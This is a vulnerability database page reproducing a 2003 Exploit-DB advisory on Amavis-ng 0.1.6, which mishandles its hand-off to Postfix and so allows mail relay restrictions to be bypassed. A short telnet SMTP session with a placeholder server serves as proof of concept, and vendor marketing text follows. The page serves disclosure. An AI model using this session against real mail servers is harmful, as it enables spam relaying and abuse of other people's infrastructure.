Lucene search
K

Amavis 0.1.6 - Header Parsing Mail Relaying

🗓️ 08 Apr 2003 00:00:00Reported by Phil CycType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

Some versions of Amavis-ng allow attackers to bypass relay restrictions through improper Postfix interaction.

Code
source: https://www.securityfocus.com/bid/7306/info

It has been reported that some versions of Amavis-ng do not properly interact with Postfix. Because of this, an attacker may be able to circumvent relay restrictions. 

#> telnet somemx.domain.tld 25
(220 somemx.example.com ESMTP Postfix)
helo amavis-ng
(250 somemx.example.com)
mail from:[email protected]
(250 ok)
rcpt to:[email protected]
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: [email protected]
To: [email protected]
Subject: AMaViS-ng 0.1.6.x bug
.
(250 Ok: queued as ...)
quit
(221 Bye) 

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation